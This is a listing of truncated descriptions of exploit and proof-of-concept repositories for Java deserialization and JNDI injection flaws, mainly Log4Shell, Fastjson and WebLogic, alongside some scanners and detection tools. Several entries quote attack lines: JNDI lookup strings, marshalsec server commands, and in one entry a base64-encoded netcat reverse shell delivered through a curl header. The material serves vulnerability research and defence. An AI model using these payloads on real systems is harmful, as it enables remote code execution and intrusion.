CVE-2020-8840

CVE-2020-8840 Jackson-databind remote code execution vulnerability CVE-2020-8840 analysis and reproduction environment code. The project includes: jackson-databind, Fastjson payloads WebServer malicious class Compiled marshalsec-0.0.3-SNAPSHOT-all.jar Vulnerability Overview Jackson-databind remot...

JNDI-Injection-Exploit

JNDI-Injection-Exploit Materials about JNDI Injection 中文文档 相关文章 Description JNDI-Injection-Exploit is a tool for generating workable JNDI links and provide background services by starting RMI server,LDAP server and HTTP server. RMI server and LDAP server are based on marshals and modified further...

dubbo-rce

CVE-2023-23638 For learning and research purposes only. ZooKeeper is required. The test environment is Java 8. Other versions have not been tested and usability is not guaranteed. During reproduction, you need to add the VM parameter to DemoComsumer: -Ddubbo.hessian.allowNonSerializable=true. For...

Fastjson--CVE-2017-18349-

Fastjson--CVE-2017-18349-Cancel changes After setting the project as a Maven project, run note: using a higher version of JDK may fail, it is recommended to use JDK version 1.8.65 Just run the main function of FastjsondemoApplication.java TouchFile.java file import java.lang.Runtime; import...

CVE-2021-44228-PoC

CVE-2021-44228 Log4Shell Proof of Concept Apache Log4j2 =2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute...

Log4J-Simulation-Tool

About The Project This is a specially crafted automated Vulnerability Scanner, Patch Management and Exploitation tool for CVE-2021-44228. This is a combination of Python, Java and Linux shell program which will make it easier for a Network Administrator, Endpoint Security Developers and...

CVE-2020-14645

CVE-2020-14645 Weblogic CVE-2020-14645 UniversalExtractor JNDI injection getDatabaseMetaData Project depends on https://github.com/5up3rc/weblogiccmd Demo Require 1. JDK Version JDK6u211/7u201/8u191 2. Weblogic Version 12.2.1.4.0 Do not use illegally!!!!!!!! Reference 1...

nmap-log4shell

Nmap Log4Shell NSE script for discovery Apache Log4j RCE CVE-2021-44228 nmap-log4shell is a NSE script for discovery Apache Log4j RCE CVE-2021-44228 vulnerability across the network. The script is able to inject the log4shell exploit payload via HTTP Headers default or via TCP/UDP socket...

CVE-2024-20931

CVE-2024-20931 CVE-2024-20931, this is the bypass of the patch of CVE-2023-21839 Oracle Weblogic Usage: Setup JNDI, the specific one from https://github.com/WhiteHSBG/JNDIExploit/ Exploit: java -jar CVE-2024-20931.jar Please input target IP:127.0.0.1 Please input target port:7001 Please input RMI...

log4shell-tools

log4shell.tools log4shell.tools is a tool that allows you to run a test to check whether one of your applications is affected by the recent vulnerabilities in log4j: CVE-2021-44228 and CVE-2021-45046. This is the code that runs https://log4shell.alexbakker.me. If you'd like to inspect the code or...

Log4Shell-Vulnerability-Replication

CVE-2021-44228 Log4Shell Vulnerability Complete Replication Record This record is based on the Apache Solr 8.11.0 target environment provided by Vulhub, fully replicating the Log4j2 JNDI injection vulnerability, and successfully verifying the vulnerability's existence through DNSLog and local LDA...

CVE-2023-25194

This tool is intended for security testing purposes only. Do not engage in any illegal activities. Any consequences resulting from misuse are solely your responsibility. The CVE-2023-25194 detection tool utilizes JNDI to load the response content returned by the DNS log platform to determine the...

log4jshell_CVE-2021-44228

log4jshellCVE-2021-44228 Log4jshell - CVE-2021-44228 Netcat nc Public IP Port -e /bin/sh Convert into Base64 bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g= Payload curl Target Website -H "X-Forwarded-Host: $jndi:ldap://ReverseshellIP:Port/Basic/Command/Base64/Payload in base64 Proof of concept Log4j Po...

CVE-2021-44228-Demo

CVE-2021-44228-Demo An example of remotely injecting code via RMI and LDAP using CVE-2021-44228. Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit RmiServer and LdapServ...

apache-tomcat-log4j

Log4j2 CVE-2021-44228 Vulnerability POC in Apache Tomcat Preview Setup Start tomcat server git clone cd apache-tomcat-10.0.14/bin startup.bat Serve the exploit class cd exploit py -m http.server 8888 cd exploit java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer...

Apache-Log4j-POC

Apache-Log4j-POC CVE-2021-44228 Proof of Concept of apache log4j LDAP lookup vulnerability You can read more about the vulnerability here: https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/ How to run the provided ldap server that returns malicious object ? java -jar...

Log4Shell-Payloads

🚨 Log4Shell Payloads Collection A curated list of Log4Shell / Log4J exploitation payloads targeting: CVE-2021-45046 CVE-2022-42889 🔗 By @nav1n0x 🔥 One-Liner Payloads ✅ Oneliner 1 cat vulnerable-hosts.txt | sed 's/https?:////' | xargs -I echo...

log4j_RCE_CVE-2021-44832

Log4j 2.17.0 RCE -- CVE-2021-44832 Reproduction 1. Start the malicious JNDI server java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1" 2. Modify the DataSource section in config/log4j2.xml to your generated JNDI...

Log4j-JNDIServer

Log4j-JNDIServer This project will help to test the Log4j CVE-2021-44228/CVE-2021-45046 vulnerabilities. Installation and Building Load the project on Intellij Idea Select JDK in "Projects Settings" CTRL + ALT + SHIFT + S In "Project Settings", create the Artifact - "Artifacts" - "Create JAR from...

CVE-2022-21350

Why two POCs? One with com.51pwn.hktalent.CreatJar.mainargs; is used to create the minimal payload generation tool. After creation, use the other one. Running CVE-2022-21350powerBy51pwn.jar to build the payload, errors do not affect the use of the payload. other exp CVE20202551 CVE20202555...